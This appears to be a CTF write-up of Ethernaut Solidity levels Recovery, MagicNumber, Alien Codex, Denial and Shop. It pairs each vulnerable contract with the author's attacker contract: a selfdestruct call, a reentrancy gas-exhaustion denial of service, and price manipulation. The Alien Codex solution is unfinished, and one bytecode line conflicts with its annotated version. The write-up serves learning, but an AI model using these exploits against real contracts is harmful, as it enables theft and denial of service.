5.7.18.1. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
/*
payload==============================================================================
*/
pragma solidity ^0.5.0;
contract attacker{
address target = 0x303d8466547bFC61A220C90EB9ED2ab9528E0BbE;
address _creator = 0x96077905c21208D86e46d3ccED03f8ce3D3d24E0 ;
function attack() public{
target.call(abi.encodeWithSignature("destroy(address)",_creator)) ;
}
}
5.7.18.2. solve
- instance地址:0x8e1fc28A157FA7341180898Fa2EdD22AFF0EfbA6
- 看instance交易记录有个contract creation,点开看到有账户给合约转了0.5eth,估计是simple了,反编译一看果然是。0x303d8466547bFC61A220C90EB9ED2ab9528E0BbE
- 转账账户即creator:0x96077905c21208D86e46d3ccED03f8ce3D3d24E0
- 直接remove给任一账号都行。。。我选择recover即回给creator,亏了0.5……
- 额外知识点:无私钥以太币(keyless Ether)
- 将以太币放置到一个隐蔽的地址上,即使私钥丢失,你可以找回你的以太币,保证相对"安全"。
- Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).
- 合约的 nonce 是以 1 开始的,账户的交易 nonce 是以 0 开始的。
- https://swende.se/blog/Ethereum_quirks_and_vulns.html
- https://www.freebuf.com/articles/blockchain-articles/179662.html
5.7.18.2.1. 做法1:直接用rlp库计算
计算合约的代码,kali已装了rlp库(python3),并存大佬代码作为plan b。
'''
装库的版本是这样的
'''
import rlp
from ethereum import utils
address = 0xd29fcc4b193a576a17af9194d706b17ce5da24e2
nonce = 1
rlp_res = rlp.encode([address,nonce])
print(rlp_res)
sha3_res = utils.mk_contract_address(address,nonce)
print(sha3_res)
sha3_res_de = utils.decode_addr(sha3_res)
print("contract_address: " + sha3_res_de)
5.7.18.2.2. 做法2:python手动实现
大佬的脚本是这样的
def rlp_encode(input):
if isinstance(input,str):
if len(input) == 1 and ord(input) < 0x80: return input
else: return encode_length(len(input), 0x80) + input
elif isinstance(input,list):
output = ''
for item in input: output += rlp_encode(item)
return encode_length(len(output), 0xc0) + output
def encode_length(L,offset):
if L < 56:
return chr(L + offset)
elif L < 256**8:
BL = to_binary(L)
return chr(len(BL) + offset + 55) + BL
else:
raise Exception("input too long")
def to_binary(x):
if x == 0:
return ''
else:
return to_binary(int(x / 256)) + chr(x % 256)
print rlp_encode(["d29fcc4b193a576a17af9194d706b17ce5da24e2".decode('hex'),"01".decode('hex')]).encode('hex')
大佬脚本算出来rlp后还需要再手动sha3一下,chef和solidity都成。
pragma solidity ^0.4.18;
contract test{
function func() view returns (address){
return address(keccak256(0xd694d29fcc4b193a576a17af9194d706b17ce5da24e201));
}
}
5.7.19. ? EVM bytecode:MagicNumber
To solve this level, you only need to provide the Ethernaut with a "Solver", a contract that responds to "whatIsTheMeaningOfLife()" with the right number.
Easy right? Well... there's a catch.
The solver's code needs to be really tiny. Really reaaaaaallly tiny. Like freakin' really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That's right: Raw EVM bytecode.
5.7.19.1. source
pragma solidity ^0.5.0;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
5.7.19.2. solve
看起来会了但改一改估计还是不会做。。。
- 思路:
- 看图得知right number是42……(梗get √)
- whatIsTheMeaningOfLife()需要增加函数签名,太长了。想直接用回退函数,当对方调用的函数签名未匹配上就会调用。但是回退函数不能带return惹……为什么大佬代码可以,我陷入了沉思。
- 知识点:How to deploy contracts using raw assembly opcodes.
- 在 contract creation 期间,EVM 仅执行 initialization code 直到到达堆栈中的第一条 STOP 或 RETURN 指令,在此阶段,合约的 constructor() 会被运行,合约便有地址了
- 最后,EVM 将 runtime code 返回的 opcode 存储在 state storage ,并与新的合约地址相关联,在将来对新合约的调用时,这些 runtime code 将被执行
- https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a
[图片上传失败...(image-129ab2-1609663827302)]
5.7.19.2.1. 做法1:web3通过raw建立合约
- 抄wp:过关合约已部署,0xB2adF6Ef8649fb37C1f66278cB077eE3B90a0657 ,
- initialization code :600a600c600039600a6000f3
- codecopy(t, 0c, 0a) //把 runtime code 拷贝到内存,偏移长度是0x0c(init的长度),s是0x0a(run的长度)
- return(p,20) //将内存中的 runtime codes 返回到 EVM,p=t
- runtime code:602A60805260206080f3
- mstore(p,2a)
- return(p,20) //返回大小是一块slot,bytes32
- initialization code :600a600c600039600a6000f3
0x600a 600c 6000 39 600a 6000 f3 602A 6080 52 6020 6080 f3
PUSH1 0x0a;// s: push1 0x0a (10 bytes)
PUSH1 0x0c; // f: push1 0x?? (current position of runtime opcodes)
PUSH1 0x00;// t: push1 0x00 (destination memory index 0)
CODECOPY; //39,codecopy(t, f, s)
PUSH1 0x0a;// s: push1 0x0a (runtime opcode length)
PUSH1 0x00;// p: push1 0x00 (access memory index 0)
RETURN; // return to EVM
PUSH1 0x2a;//v: push1 0x2a (value is 42)
PUSH1 0x80;// p: push1 0x80 (memory slot is 0x80)
MSTORE; //52,mstore(p,v)
PUSH1 0x20;// s: push1 0x20 (value is 32 bytes in size)
PUSH1 0x80;// p: push1 0x80 (value was stored in slot 0x80)
RETURN;//return(p,s)
> var account = "your address here";
> var bytecode = "0x600a600c600039600a6000f3604260805260206080f3";
> web3.eth.sendTransaction({ from: account, data: bytecode }, function(err,res){console.log(res)});
> contract.setSolver("contract address");
5.7.19.2.2. 做法2:编译solidity
pragma solidity ^0.4.24;
contract MagicNumSolver {
constructor() public {
assembly {
// This is the bytecode we want the program to have:
// 00 PUSH1 2a /* push dec 42 (hex 0x2a) onto the stack */
// 03 PUSH1 0 /* store 42 at memory position 0 */
// 05 MSTORE
// 06 PUSH1 20 /* return 32 bytes in memory */
// 08 PUSH1 0
// 10 RETURN
// Bytecode: 0x602a60005260206000f3 (length 0x0a or 10)
// Bytecode within a 32 byte word:
// 0x00000000000000000000000000000000000000000000604260005260206000f3 (length 0x20 or 32)
// ^ (offset 0x16 or 22)
mstore(0, 0x602a60005260206000f3)
return(0x16, 0x0a) //length 0x0a
}
}
}
5.7.20. ?Alien Codex好像生成不了啊……
You've uncovered an Alien contract. Claim ownership to complete the level.
Things that might help
- Understanding how array storage works
- Understanding ABI specifications
- Using a very underhanded approach
5.7.20.1. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
5.7.20.2. solve
- 大概先意会一下吧,import的ownable长这样:https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol。
- ownable里有,function renounceOwnership() 和function transferOwnership(address newOwner)都要求owner == _msgSender()
5.7.21. call out of gas:Denial
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.
If you are using a low level call to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value().
Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.
5.7.21.1. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
function() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
5.7.21.2. solve
- owner=address(0xA9E)
- 文档里说所以call.value失败也会有足够的gas执行下一句。
- 做法一:通过fallback循环重入withdraw()就可以在转账给owner前耗尽gas,但存在余额转完了(100次)gas还没消耗完gas然后继续执行的可能?(不好意思想多了,第二个call就失败了……)
- 做法二:注意到和require不同,assert异常会消耗所有的gas。所以回退函数写个assert(false)也是可以的。
- 知识点一:用low level call的时候,因为call的gas是没有上限的,比较安全的用法是加上fixed gas stipend。这样thus even if the called contract goes out of gas, the caller still has some gas left。
- 知识点二:预防重入需要使用Checks-Effects-Interactions Pattern
pragma solidity ^0.5.0;
contract Attacker {
address target = 0x7a52870F38d9351ffb34998872AC016cC5036d51;
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}//为了把钱要回来真是煞费苦心
function attack() public returns (uint) {
target.call(abi.encodeWithSignature("setWithdrawPartner(address)",this));
target.call(abi.encodeWithSignature("withdraw()"));
}
function() external payable {
target.call(abi.encodeWithSignature("withdraw()"));
//assert(false);
}
}
通过重入的方式耗尽gas,因为耗尽gas所以前面转给攻击合约的操作也都回退了。
[图片上传失败...(image-832de2-1609663827302)]
[图片上传失败...(image-82f695-1609663827302)]
5.7.22. less gas :Shop
Сan you get the item from the shop for less than the price asked?
Things that might help:
- Shop expects to be used from a Buyer
- Understanding how gas() options works
5.7.22.1. source
pragma solidity ^0.5.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
5.7.22.2. solve
- 因为题目合约的price()是引入的,考虑重写
- 需要让第一次price()返回100,执行后price为第二次调用price()返回值,此时要低于100.
- 一开始和elevator题一样,试图通过递减storage的方式,但是失败。修改storage需要 5000 gas。
- 由于读取变量比修改变量的消耗低,换成判断isSold==false。注意此时有个坑,如果直接在开头实例化Shop target,price()里调用target会失败,猜测是多读一次storage消耗的gas就超标了。。。翻文档暂时没翻到读storage应该是多少。只能用Shop(msg.sender)这种写在mem里的方式。——但是后来翻了别人的wp是可以的,那么这个未解之谜留待大佬解决了。
- 用的if (condition) xxx; else yyy;,后来发现大佬直接用 condition?xxx:yyy 。真高级,学习了。。。
pragma solidity ^0.5.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract Attacker {
function attack() public {
Shop(0xf33F15621688dA129ff08937b6776A14BDfccf30).buy();
}
function price() external view returns (uint){
return Shop(msg.sender).isSold() == true ? 99 : 100;
}
}